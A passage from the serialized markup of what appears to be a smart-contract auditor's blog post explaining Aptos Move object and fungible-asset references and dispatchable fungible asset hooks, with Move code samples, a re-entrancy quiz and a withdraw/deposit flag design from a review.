ownership!",{"type":24,"tag":395,"props":66504,"children":66506},{"id":66505},"references",[66507],{"type":29,"value":66508},"References",{"type":24,"tag":25,"props":66510,"children":66511},{},[66512,66517,66519,66525,66527,66532,66534,66539],{"type":24,"tag":154,"props":66513,"children":66515},{"className":66514},[],[66516],{"type":29,"value":66508},{"type":29,"value":66518}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":154,"props":66520,"children":66522},{"className":66521},[],[66523],{"type":29,"value":66524},"Refs",{"type":29,"value":66526}," are based on the ",{"type":24,"tag":154,"props":66528,"children":66530},{"className":66529},[],[66531],{"type":29,"value":50122},{"type":29,"value":66533}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":154,"props":66535,"children":66537},{"className":66536},[],[66538],{"type":29,"value":50122},{"type":29,"value":66540}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":66542,"children":66543},{},[66544,66546,66551,66553,66558,66559,66565,66567,66572,66574,66579],{"type":29,"value":66545},"Let's get back to the ",{"type":24,"tag":154,"props":66547,"children":66549},{"className":66548},[],[66550],{"type":29,"value":63350},{"type":29,"value":66552}," deletion example. Both ",{"type":24,"tag":154,"props":66554,"children":66556},{"className":66555},[],[66557],{"type":29,"value":64635},{"type":29,"value":1826},{"type":24,"tag":154,"props":66560,"children":66562},{"className":66561},[],[66563],{"type":29,"value":66564},"fungible_asset::remove_store",{"type":29,"value":66566}," use the same object-specific ",{"type":24,"tag":154,"props":66568,"children":66570},{"className":66569},[],[66571],{"type":29,"value":64567},{"type":29,"value":66573}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":154,"props":66575,"children":66577},{"className":66576},[],[66578],{"type":29,"value":64567},{"type":29,"value":66580}," for fungible assets.",{"type":24,"tag":147,"props":66582,"children":66583},{"className":151,"code":64517,"language":150,"meta":7,"style":7},[66584],{"type":24,"tag":154,"props":66585,"children":66586},{"__ignoreMap":7},[66587,66594,66633,66640,66647],{"type":24,"tag":158,"props":66588,"children":66589},{"class":160,"line":161},[66590],{"type":24,"tag":158,"props":66591,"children":66592},{"style":2588},[66593],{"type":29,"value":64529},{"type":24,"tag":158,"props":66595,"children":66596},{"class":160,"line":213},[66597,66601,66605,66609,66613,66617,66621,66625,66629],{"type":24,"tag":158,"props":66598,"children":66599},{"style":177},[66600],{"type":29,"value":62949},{"type":24,"tag":158,"props":66602,"children":66603},{"style":177},[66604],{"type":29,"value":493},{"type":24,"tag":158,"props":66606,"children":66607},{"style":496},[66608],{"type":29,"value":64545},{"type":24,"tag":158,"props":66610,"children":66611},{"style":188},[66612],{"type":29,"value":504},{"type":24,"tag":158,"props":66614,"children":66615},{"style":177},[66616],{"type":29,"value":64554},{"type":24,"tag":158,"props":66618,"children":66619},{"style":222},[66620],{"type":29,"value":225},{"type":24,"tag":158,"props":66622,"children":66623},{"style":222},[66624],{"type":29,"value":8784},{"type":24,"tag":158,"props":66626,"children":66627},{"style":171},[66628],{"type":29,"value":64567},{"type":24,"tag":158,"props":66630,"children":66631},{"style":188},[66632],{"type":29,"value":2125},{"type":24,"tag":158,"props":66634,"children":66635},{"class":160,"line":238},[66636],{"type":24,"tag":158,"props":66637,"children":66638},{"emptyLinePlaceholder":16},[66639],{"type":29,"value":481},{"type":24,"tag":158,"props":66641,"children":66642},{"class":160,"line":259},[66643],{"type":24,"tag":158,"props":66644,"children":66645},{"style":2588},[66646],{"type":29,"value":64586},{"type":24,"tag":158,"props":66648,"children":66649},{"class":160,"line":280},[66650,66654,66658,66662,66666,66670,66674,66678],{"type":24,"tag":158,"props":66651,"children":66652},{"style":177},[66653],{"type":29,"value":62949},{"type":24,"tag":158,"props":66655,"children":66656},{"style":177},[66657],{"type":29,"value":493},{"type":24,"tag":158,"props":66659,"children":66660},{"style":496},[66661],{"type":29,"value":64602},{"type":24,"tag":158,"props":66663,"children":66664},{"style":188},[66665],{"type":29,"value":504},{"type":24,"tag":158,"props":66667,"children":66668},{"style":165},[66669],{"type":29,"value":64611},{"type":24,"tag":158,"props":66671,"children":66672},{"style":222},[66673],{"type":29,"value":225},{"type":24,"tag":158,"props":66675,"children":66676},{"style":171},[66677],{"type":29,"value":64620},{"type":24,"tag":158,"props":66679,"children":66680},{"style":188},[66681],{"type":29,"value":2125},{"type":24,"tag":25,"props":66683,"children":66684},{},[66685,66687,66692,66694,66700],{"type":29,"value":66686},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":154,"props":66688,"children":66690},{"className":66689},[],[66691],{"type":29,"value":63350},{"type":29,"value":66693}," is toggled using a ",{"type":24,"tag":154,"props":66695,"children":66697},{"className":66696},[],[66698],{"type":29,"value":66699},"TransferRef",{"type":29,"value":66701},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":147,"props":66703,"children":66705},{"className":151,"code":66704,"language":150,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[66706],{"type":24,"tag":154,"props":66707,"children":66708},{"__ignoreMap":7},[66709,66745,66769,66796,66815],{"type":24,"tag":158,"props":66710,"children":66711},{"class":160,"line":161},[66712,66716,66720,66725,66729,66733,66737,66741],{"type":24,"tag":158,"props":66713,"children":66714},{"style":177},[66715],{"type":29,"value":62949},{"type":24,"tag":158,"props":66717,"children":66718},{"style":177},[66719],{"type":29,"value":493},{"type":24,"tag":158,"props":66721,"children":66722},{"style":177},[66723],{"type":29,"value":66724}," set_frozen_flag",{"type":24,"tag":158,"props":66726,"children":66727},{"style":188},[66728],{"type":29,"value":3760},{"type":24,"tag":158,"props":66730,"children":66731},{"style":171},[66732],{"type":29,"value":7637},{"type":24,"tag":158,"props":66734,"children":66735},{"style":222},[66736],{"type":29,"value":225},{"type":24,"tag":158,"props":66738,"children":66739},{"style":177},[66740],{"type":29,"value":7582},{"type":24,"tag":158,"props":66742,"children":66743},{"style":188},[66744],{"type":29,"value":8236},{"type":24,"tag":158,"props":66746,"children":66747},{"class":160,"line":213},[66748,66753,66757,66761,66765],{"type":24,"tag":158,"props":66749,"children":66750},{"style":165},[66751],{"type":29,"value":66752}," ref",{"type":24,"tag":158,"props":66754,"children":66755},{"style":222},[66756],{"type":29,"value":225},{"type":24,"tag":158,"props":66758,"children":66759},{"style":222},[66760],{"type":29,"value":8784},{"type":24,"tag":158,"props":66762,"children":66763},{"style":171},[66764],{"type":29,"value":66699},{"type":24,"tag":158,"props":66766,"children":66767},{"style":188},[66768],{"type":29,"value":235},{"type":24,"tag":158,"props":66770,"children":66771},{"class":160,"line":238},[66772,66776,66780,66784,66788,66792],{"type":24,"tag":158,"props":66773,"children":66774},{"style":177},[66775],{"type":29,"value":30673},{"type":24,"tag":158,"props":66777,"children":66778},{"style":222},[66779],{"type":29,"value":225},{"type":24,"tag":158,"props":66781,"children":66782},{"style":171},[66783],{"type":29,"value":62835},{"type":24,"tag":158,"props":66785,"children":66786},{"style":188},[66787],{"type":29,"value":3760},{"type":24,"tag":158,"props":66789,"children":66790},{"style":171},[66791],{"type":29,"value":7637},{"type":24,"tag":158,"props":66793,"children":66794},{"style":188},[66795],{"type":29,"value":7788},{"type":24,"tag":158,"props":66797,"children":66798},{"class":160,"line":259},[66799,66803,66807,66811],{"type":24,"tag":158,"props":66800,"children":66801},{"style":177},[66802],{"type":29,"value":62487},{"type":24,"tag":158,"props":66804,"children":66805},{"style":222},[66806],{"type":29,"value":225},{"type":24,"tag":158,"props":66808,"children":66809},{"style":171},[66810],{"type":29,"value":2928},{"type":24,"tag":158,"props":66812,"children":66813},{"style":188},[66814],{"type":29,"value":235},{"type":24,"tag":158,"props":66816,"children":66817},{"class":160,"line":280},[66818],{"type":24,"tag":158,"props":66819,"children":66820},{"style":188},[66821],{"type":29,"value":2125},{"type":24,"tag":25,"props":66823,"children":66824},{},[66825,66826,66831,66832,66837],{"type":29,"value":17850},{"type":24,"tag":154,"props":66827,"children":66829},{"className":66828},[],[66830],{"type":29,"value":50122},{"type":29,"value":8106},{"type":24,"tag":154,"props":66833,"children":66835},{"className":66834},[],[66836],{"type":29,"value":66699},{"type":29,"value":66838}," is used to transfer object ownership:",{"type":24,"tag":147,"props":66840,"children":66842},{"className":151,"code":66841,"language":150,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[66843],{"type":24,"tag":154,"props":66844,"children":66845},{"__ignoreMap":7},[66846,66854,66887,66906],{"type":24,"tag":158,"props":66847,"children":66848},{"class":160,"line":161},[66849],{"type":24,"tag":158,"props":66850,"children":66851},{"style":2588},[66852],{"type":29,"value":66853},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":158,"props":66855,"children":66856},{"class":160,"line":213},[66857,66861,66866,66870,66875,66879,66883],{"type":24,"tag":158,"props":66858,"children":66859},{"style":165},[66860],{"type":29,"value":168},{"type":24,"tag":158,"props":66862,"children":66863},{"style":171},[66864],{"type":29,"value":66865}," TransferRef",{"type":24,"tag":158,"props":66867,"children":66868},{"style":177},[66869],{"type":29,"value":180},{"type":24,"tag":158,"props":66871,"children":66872},{"style":177},[66873],{"type":29,"value":66874}," drop",{"type":24,"tag":158,"props":66876,"children":66877},{"style":188},[66878],{"type":29,"value":191},{"type":24,"tag":158,"props":66880,"children":66881},{"style":177},[66882],{"type":29,"value":205},{"type":24,"tag":158,"props":66884,"children":66885},{"style":188},[66886],{"type":29,"value":210},{"type":24,"tag":158,"props":66888,"children":66889},{"class":160,"line":238},[66890,66894,66898,66902],{"type":24,"tag":158,"props":66891,"children":66892},{"style":165},[66893],{"type":29,"value":22030},{"type":24,"tag":158,"props":66895,"children":66896},{"style":222},[66897],{"type":29,"value":225},{"type":24,"tag":158,"props":66899,"children":66900},{"style":177},[66901],{"type":29,"value":7899},{"type":24,"tag":158,"props":66903,"children":66904},{"style":188},[66905],{"type":29,"value":235},{"type":24,"tag":158,"props":66907,"children":66908},{"class":160,"line":259},[66909],{"type":24,"tag":158,"props":66910,"children":66911},{"style":188},[66912],{"type":29,"value":307},{"type":24,"tag":25,"props":66914,"children":66915},{},[66916,66918,66923],{"type":29,"value":66917},"While the fungible asset's ",{"type":24,"tag":154,"props":66919,"children":66921},{"className":66920},[],[66922],{"type":29,"value":66699},{"type":29,"value":66924}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":147,"props":66926,"children":66928},{"className":151,"code":66927,"language":150,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[66929],{"type":24,"tag":154,"props":66930,"children":66931},{"__ignoreMap":7},[66932,66940,66948,66979,67006],{"type":24,"tag":158,"props":66933,"children":66934},{"class":160,"line":161},[66935],{"type":24,"tag":158,"props":66936,"children":66937},{"style":2588},[66938],{"type":29,"value":66939},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":158,"props":66941,"children":66942},{"class":160,"line":213},[66943],{"type":24,"tag":158,"props":66944,"children":66945},{"style":2588},[66946],{"type":29,"value":66947},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":24,"tag":158,"props":66949,"children":66950},{"class":160,"line":238},[66951,66955,66959,66963,66967,66971,66975],{"type":24,"tag":158,"props":66952,"children":66953},{"style":165},[66954],{"type":29,"value":168},{"type":24,"tag":158,"props":66956,"children":66957},{"style":171},[66958],{"type":29,"value":66865},{"type":24,"tag":158,"props":66960,"children":66961},{"style":177},[66962],{"type":29,"value":180},{"type":24,"tag":158,"props":66964,"children":66965},{"style":177},[66966],{"type":29,"value":66874},{"type":24,"tag":158,"props":66968,"children":66969},{"style":188},[66970],{"type":29,"value":191},{"type":24,"tag":158,"props":66972,"children":66973},{"style":177},[66974],{"type":29,"value":205},{"type":24,"tag":158,"props":66976,"children":66977},{"style":188},[66978],{"type":29,"value":210},{"type":24,"tag":158,"props":66980,"children":66981},{"class":160,"line":259},[66982,66986,66990,66994,66998,67002],{"type":24,"tag":158,"props":66983,"children":66984},{"style":177},[66985],{"type":29,"value":62826},{"type":24,"tag":158,"props":66987,"children":66988},{"style":222},[66989],{"type":29,"value":225},{"type":24,"tag":158,"props":66991,"children":66992},{"style":171},[66993],{"type":29,"value":62835},{"type":24,"tag":158,"props":66995,"children":66996},{"style":188},[66997],{"type":29,"value":3760},{"type":24,"tag":158,"props":66999,"children":67000},{"style":171},[67001],{"type":29,"value":62844},{"type":24,"tag":158,"props":67003,"children":67004},{"style":188},[67005],{"type":29,"value":7642},{"type":24,"tag":158,"props":67007,"children":67008},{"class":160,"line":280},[67009],{"type":24,"tag":158,"props":67010,"children":67011},{"style":188},[67012],{"type":29,"value":307},{"type":24,"tag":25,"props":67014,"children":67015},{},[67016,67018,67024,67026,67032],{"type":29,"value":67017},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":154,"props":67019,"children":67021},{"className":67020},[],[67022],{"type":29,"value":67023},"MintRef",{"type":29,"value":67025}," for minting and ",{"type":24,"tag":154,"props":67027,"children":67029},{"className":67028},[],[67030],{"type":29,"value":67031},"BurnRef",{"type":29,"value":67033}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":59,"props":67035,"children":67037},{"id":67036},"dispatchable-fungible-assets",[67038],{"type":29,"value":67039},"Dispatchable fungible assets",{"type":24,"tag":25,"props":67041,"children":67042},{},[67043],{"type":29,"value":67044},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":67046,"children":67047},{},[67048],{"type":29,"value":67049},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":67051,"props":67052,"children":67053},"warning",{},[67054],{"type":24,"tag":25,"props":67055,"children":67056},{},[67057,67059,67065],{"type":29,"value":67058},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":154,"props":67060,"children":67062},{"className":67061},[],[67063],{"type":29,"value":67064},"transfer_assert_minimum_deposit",{"type":29,"value":67066}," that can help mitigate such risks.",{"type":24,"tag":25,"props":67068,"children":67069},{},[67070,67072,67077,67079,67086],{"type":29,"value":67071},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":154,"props":67073,"children":67075},{"className":67074},[],[67076],{"type":29,"value":62949},{"type":29,"value":67078}," to ensure ",{"type":24,"tag":101,"props":67080,"children":67083},{"href":67081,"rel":67082},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[105],[67084],{"type":29,"value":67085},"their signature remains immutable",{"type":29,"value":67087},". An example implementation might look like this:",{"type":24,"tag":147,"props":67089,"children":67091},{"className":151,"code":67090,"language":150,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[67092],{"type":24,"tag":154,"props":67093,"children":67094},{"__ignoreMap":7},[67095,67131,67158,67177,67201,67220,67228,67274,67281,67288,67324,67351,67371,67394,67401,67408,67452],{"type":24,"tag":158,"props":67096,"children":67097},{"class":160,"line":161},[67098,67102,67106,67111,67115,67119,67123,67127],{"type":24,"tag":158,"props":67099,"children":67100},{"style":177},[67101],{"type":29,"value":62949},{"type":24,"tag":158,"props":67103,"children":67104},{"style":177},[67105],{"type":29,"value":493},{"type":24,"tag":158,"props":67107,"children":67108},{"style":177},[67109],{"type":29,"value":67110}," withdraw_hook",{"type":24,"tag":158,"props":67112,"children":67113},{"style":188},[67114],{"type":29,"value":3760},{"type":24,"tag":158,"props":67116,"children":67117},{"style":171},[67118],{"type":29,"value":7637},{"type":24,"tag":158,"props":67120,"children":67121},{"style":222},[67122],{"type":29,"value":225},{"type":24,"tag":158,"props":67124,"children":67125},{"style":177},[67126],{"type":29,"value":7582},{"type":24,"tag":158,"props":67128,"children":67129},{"style":188},[67130],{"type":29,"value":8236},{"type":24,"tag":158,"props":67132,"children":67133},{"class":160,"line":213},[67134,67138,67142,67146,67150,67154],{"type":24,"tag":158,"props":67135,"children":67136},{"style":177},[67137],{"type":29,"value":30673},{"type":24,"tag":158,"props":67139,"children":67140},{"style":222},[67141],{"type":29,"value":225},{"type":24,"tag":158,"props":67143,"children":67144},{"style":171},[67145],{"type":29,"value":62835},{"type":24,"tag":158,"props":67147,"children":67148},{"style":188},[67149],{"type":29,"value":3760},{"type":24,"tag":158,"props":67151,"children":67152},{"style":171},[67153],{"type":29,"value":7637},{"type":24,"tag":158,"props":67155,"children":67156},{"style":188},[67157],{"type":29,"value":7788},{"type":24,"tag":158,"props":67159,"children":67160},{"class":160,"line":238},[67161,67165,67169,67173],{"type":24,"tag":158,"props":67162,"children":67163},{"style":177},[67164],{"type":29,"value":62856},{"type":24,"tag":158,"props":67166,"children":67167},{"style":222},[67168],{"type":29,"value":225},{"type":24,"tag":158,"props":67170,"children":67171},{"style":171},[67172],{"type":29,"value":230},{"type":24,"tag":158,"props":67174,"children":67175},{"style":188},[67176],{"type":29,"value":235},{"type":24,"tag":158,"props":67178,"children":67179},{"class":160,"line":259},[67180,67185,67189,67193,67197],{"type":24,"tag":158,"props":67181,"children":67182},{"style":177},[67183],{"type":29,"value":67184}," transfer_ref",{"type":24,"tag":158,"props":67186,"children":67187},{"style":222},[67188],{"type":29,"value":225},{"type":24,"tag":158,"props":67190,"children":67191},{"style":222},[67192],{"type":29,"value":8784},{"type":24,"tag":158,"props":67194,"children":67195},{"style":171},[67196],{"type":29,"value":66699},{"type":24,"tag":158,"props":67198,"children":67199},{"style":188},[67200],{"type":29,"value":235},{"type":24,"tag":158,"props":67202,"children":67203},{"class":160,"line":280},[67204,67208,67212,67216],{"type":24,"tag":158,"props":67205,"children":67206},{"style":188},[67207],{"type":29,"value":521},{"type":24,"tag":158,"props":67209,"children":67210},{"style":222},[67211],{"type":29,"value":225},{"type":24,"tag":158,"props":67213,"children":67214},{"style":171},[67215],{"type":29,"value":62814},{"type":24,"tag":158,"props":67217,"children":67218},{"style":188},[67219],{"type":29,"value":210},{"type":24,"tag":158,"props":67221,"children":67222},{"class":160,"line":301},[67223],{"type":24,"tag":158,"props":67224,"children":67225},{"style":2588},[67226],{"type":29,"value":67227}," //check paused, gather fees etc.\n",{"type":24,"tag":158,"props":67229,"children":67230},{"class":160,"line":626},[67231,67236,67240,67245,67249,67254,67258,67262,67266,67270],{"type":24,"tag":158,"props":67232,"children":67233},{"style":188},[67234],{"type":29,"value":67235}," fungible_asset",{"type":24,"tag":158,"props":67237,"children":67238},{"style":222},[67239],{"type":29,"value":2146},{"type":24,"tag":158,"props":67241,"children":67242},{"style":496},[67243],{"type":29,"value":67244},"withdraw_with_ref",{"type":24,"tag":158,"props":67246,"children":67247},{"style":188},[67248],{"type":29,"value":504},{"type":24,"tag":158,"props":67250,"children":67251},{"style":177},[67252],{"type":29,"value":67253},"transfer_ref",{"type":24,"tag":158,"props":67255,"children":67256},{"style":188},[67257],{"type":29,"value":191},{"type":24,"tag":158,"props":67259,"children":67260},{"style":177},[67261],{"type":29,"value":205},{"type":24,"tag":158,"props":67263,"children":67264},{"style":188},[67265],{"type":29,"value":191},{"type":24,"tag":158,"props":67267,"children":67268},{"style":177},[67269],{"type":29,"value":21550},{"type":24,"tag":158,"props":67271,"children":67272},{"style":188},[67273],{"type":29,"value":2125},{"type":24,"tag":158,"props":67275,"children":67276},{"class":160,"line":668},[67277],{"type":24,"tag":158,"props":67278,"children":67279},{"style":188},[67280],{"type":29,"value":307},{"type":24,"tag":158,"props":67282,"children":67283},{"class":160,"line":676},[67284],{"type":24,"tag":158,"props":67285,"children":67286},{"emptyLinePlaceholder":16},[67287],{"type":29,"value":481},{"type":24,"tag":158,"props":67289,"children":67290},{"class":160,"line":684},[67291,67295,67299,67304,67308,67312,67316,67320],{"type":24,"tag":158,"props":67292,"children":67293},{"style":177},[67294],{"type":29,"value":62949},{"type":24,"tag":158,"props":67296,"children":67297},{"style":177},[67298],{"type":29,"value":493},{"type":24,"tag":158,"props":67300,"children":67301},{"style":177},[67302],{"type":29,"value":67303}," deposit_hook",{"type":24,"tag":158,"props":67305,"children":67306},{"style":188},[67307],{"type":29,"value":3760},{"type":24,"tag":158,"props":67309,"children":67310},{"style":171},[67311],{"type":29,"value":7637},{"type":24,"tag":158,"props":67313,"children":67314},{"style":222},[67315],{"type":29,"value":225},{"type":24,"tag":158,"props":67317,"children":67318},{"style":177},[67319],{"type":29,"value":7582},{"type":24,"tag":158,"props":67321,"children":67322},{"style":188},[67323],{"type":29,"value":8236},{"type":24,"tag":158,"props":67325,"children":67326},{"class":160,"line":700},[67327,67331,67335,67339,67343,67347],{"type":24,"tag":158,"props":67328,"children":67329},{"style":177},[67330],{"type":29,"value":30673},{"type":24,"tag":158,"props":67332,"children":67333},{"style":222},[67334],{"type":29,"value":225},{"type":24,"tag":158,"props":67336,"children":67337},{"style":171},[67338],{"type":29,"value":62835},{"type":24,"tag":158,"props":67340,"children":67341},{"style":188},[67342],{"type":29,"value":3760},{"type":24,"tag":158,"props":67344,"children":67345},{"style":171},[67346],{"type":29,"value":7637},{"type":24,"tag":158,"props":67348,"children":67349},{"style":188},[67350],{"type":29,"value":7788},{"type":24,"tag":158,"props":67352,"children":67353},{"class":160,"line":785},[67354,67359,67363,67367],{"type":24,"tag":158,"props":67355,"children":67356},{"style":177},[67357],{"type":29,"value":67358}," fa",{"type":24,"tag":158,"props":67360,"children":67361},{"style":222},[67362],{"type":29,"value":225},{"type":24,"tag":158,"props":67364,"children":67365},{"style":171},[67366],{"type":29,"value":62814},{"type":24,"tag":158,"props":67368,"children":67369},{"style":188},[67370],{"type":29,"value":235},{"type":24,"tag":158,"props":67372,"children":67373},{"class":160,"line":1447},[67374,67378,67382,67386,67390],{"type":24,"tag":158,"props":67375,"children":67376},{"style":177},[67377],{"type":29,"value":67184},{"type":24,"tag":158,"props":67379,"children":67380},{"style":222},[67381],{"type":29,"value":225},{"type":24,"tag":158,"props":67383,"children":67384},{"style":222},[67385],{"type":29,"value":8784},{"type":24,"tag":158,"props":67387,"children":67388},{"style":171},[67389],{"type":29,"value":66699},{"type":24,"tag":158,"props":67391,"children":67392},{"style":188},[67393],{"type":29,"value":235},{"type":24,"tag":158,"props":67395,"children":67396},{"class":160,"line":1509},[67397],{"type":24,"tag":158,"props":67398,"children":67399},{"style":188},[67400],{"type":29,"value":16038},{"type":24,"tag":158,"props":67402,"children":67403},{"class":160,"line":1527},[67404],{"type":24,"tag":158,"props":67405,"children":67406},{"style":2588},[67407],{"type":29,"value":67227},{"type":24,"tag":158,"props":67409,"children":67410},{"class":160,"line":1545},[67411,67415,67419,67424,67428,67432,67436,67440,67444,67448],{"type":24,"tag":158,"props":67412,"children":67413},{"style":188},[67414],{"type":29,"value":67235},{"type":24,"tag":158,"props":67416,"children":67417},{"style":222},[67418],{"type":29,"value":2146},{"type":24,"tag":158,"props":67420,"children":67421},{"style":496},[67422],{"type":29,"value":67423},"deposit_with_ref",{"type":24,"tag":158,"props":67425,"children":67426},{"style":188},[67427],{"type":29,"value":504},{"type":24,"tag":158,"props":67429,"children":67430},{"style":177},[67431],{"type":29,"value":67253},{"type":24,"tag":158,"props":67433,"children":67434},{"style":188},[67435],{"type":29,"value":191},{"type":24,"tag":158,"props":67437,"children":67438},{"style":177},[67439],{"type":29,"value":205},{"type":24,"tag":158,"props":67441,"children":67442},{"style":188},[67443],{"type":29,"value":191},{"type":24,"tag":158,"props":67445,"children":67446},{"style":177},[67447],{"type":29,"value":63007},{"type":24,"tag":158,"props":67449,"children":67450},{"style":188},[67451],{"type":29,"value":1071},{"type":24,"tag":158,"props":67453,"children":67454},{"class":160,"line":1618},[67455],{"type":24,"tag":158,"props":67456,"children":67457},{"style":188},[67458],{"type":29,"value":307},{"type":24,"tag":67460,"props":67461,"children":67462},"question",{},[67463,67490],{"type":24,"tag":25,"props":67464,"children":67465},{},[67466,67468,67474,67476,67482,67483,67489],{"type":29,"value":67467},"Why hook functions rely on ",{"type":24,"tag":154,"props":67469,"children":67471},{"className":67470},[],[67472],{"type":29,"value":67473},"*_with_ref",{"type":29,"value":67475}," calls? What would happen if the hook function called ",{"type":24,"tag":154,"props":67477,"children":67479},{"className":67478},[],[67480],{"type":29,"value":67481},"dispatchable_fungible_asset::withdraw",{"type":29,"value":18031},{"type":24,"tag":154,"props":67484,"children":67486},{"className":67485},[],[67487],{"type":29,"value":67488},"fungible_asset::withdraw_with_ref",{"type":29,"value":4820},{"type":24,"tag":67491,"props":67492,"children":67493},"template",{"v-slot:answer-0":7},[67494,67506],{"type":24,"tag":25,"props":67495,"children":67496},{},[67497,67499,67504],{"type":29,"value":67498},"A1: Hook functions rely on ",{"type":24,"tag":154,"props":67500,"children":67502},{"className":67501},[],[67503],{"type":29,"value":67473},{"type":29,"value":67505}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":67507,"children":67508},{},[67509,67511,67516],{"type":29,"value":67510},"A2: A ",{"type":24,"tag":154,"props":67512,"children":67514},{"className":67513},[],[67515],{"type":29,"value":67481},{"type":29,"value":67517}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":67519,"children":67520},{},[67521],{"type":29,"value":67522},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":147,"props":67524,"children":67526},{"className":151,"code":67525,"language":150,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[67527],{"type":24,"tag":154,"props":67528,"children":67529},{"__ignoreMap":7},[67530,67625,67645,67660,67680,67723,67738,67745,67752,67871,67890,67905,67924,67967],{"type":24,"tag":158,"props":67531,"children":67532},{"class":160,"line":161},[67533,67537,67541,67545,67549,67553,67557,67561,67565,67569,67573,67577,67581,67585,67589,67593,67597,67601,67605,67609,67613,67617,67621],{"type":24,"tag":158,"props":67534,"children":67535},{"style":177},[67536],{"type":29,"value":62949},{"type":24,"tag":158,"props":67538,"children":67539},{"style":177},[67540],{"type":29,"value":493},{"type":24,"tag":158,"props":67542,"children":67543},{"style":177},[67544],{"type":29,"value":62958},{"type":24,"tag":158,"props":67546,"children":67547},{"style":188},[67548],{"type":29,"value":3760},{"type":24,"tag":158,"props":67550,"children":67551},{"style":171},[67552],{"type":29,"value":7637},{"type":24,"tag":158,"props":67554,"children":67555},{"style":222},[67556],{"type":29,"value":225},{"type":24,"tag":158,"props":67558,"children":67559},{"style":177},[67560],{"type":29,"value":7582},{"type":24,"tag":158,"props":67562,"children":67563},{"style":188},[67564],{"type":29,"value":3817},{"type":24,"tag":158,"props":67566,"children":67567},{"style":177},[67568],{"type":29,"value":205},{"type":24,"tag":158,"props":67570,"children":67571},{"style":222},[67572],{"type":29,"value":225},{"type":24,"tag":158,"props":67574,"children":67575},{"style":171},[67576],{"type":29,"value":62835},{"type":24,"tag":158,"props":67578,"children":67579},{"style":188},[67580],{"type":29,"value":3760},{"type":24,"tag":158,"props":67582,"children":67583},{"style":171},[67584],{"type":29,"value":7637},{"type":24,"tag":158,"props":67586,"children":67587},{"style":188},[67588],{"type":29,"value":8278},{"type":24,"tag":158,"props":67590,"children":67591},{"style":177},[67592],{"type":29,"value":63007},{"type":24,"tag":158,"props":67594,"children":67595},{"style":222},[67596],{"type":29,"value":225},{"type":24,"tag":158,"props":67598,"children":67599},{"style":171},[67600],{"type":29,"value":62814},{"type":24,"tag":158,"props":67602,"children":67603},{"style":188},[67604],{"type":29,"value":191},{"type":24,"tag":158,"props":67606,"children":67607},{"style":177},[67608],{"type":29,"value":67253},{"type":24,"tag":158,"props":67610,"children":67611},{"style":222},[67612],{"type":29,"value":225},{"type":24,"tag":158,"props":67614,"children":67615},{"style":222},[67616],{"type":29,"value":8784},{"type":24,"tag":158,"props":67618,"children":67619},{"style":171},[67620],{"type":29,"value":66699},{"type":24,"tag":158,"props":67622,"children":67623},{"style":188},[67624],{"type":29,"value":16038},{"type":24,"tag":158,"props":67626,"children":67627},{"class":160,"line":213},[67628,67633,67637,67641],{"type":24,"tag":158,"props":67629,"children":67630},{"style":496},[67631],{"type":29,"value":67632}," 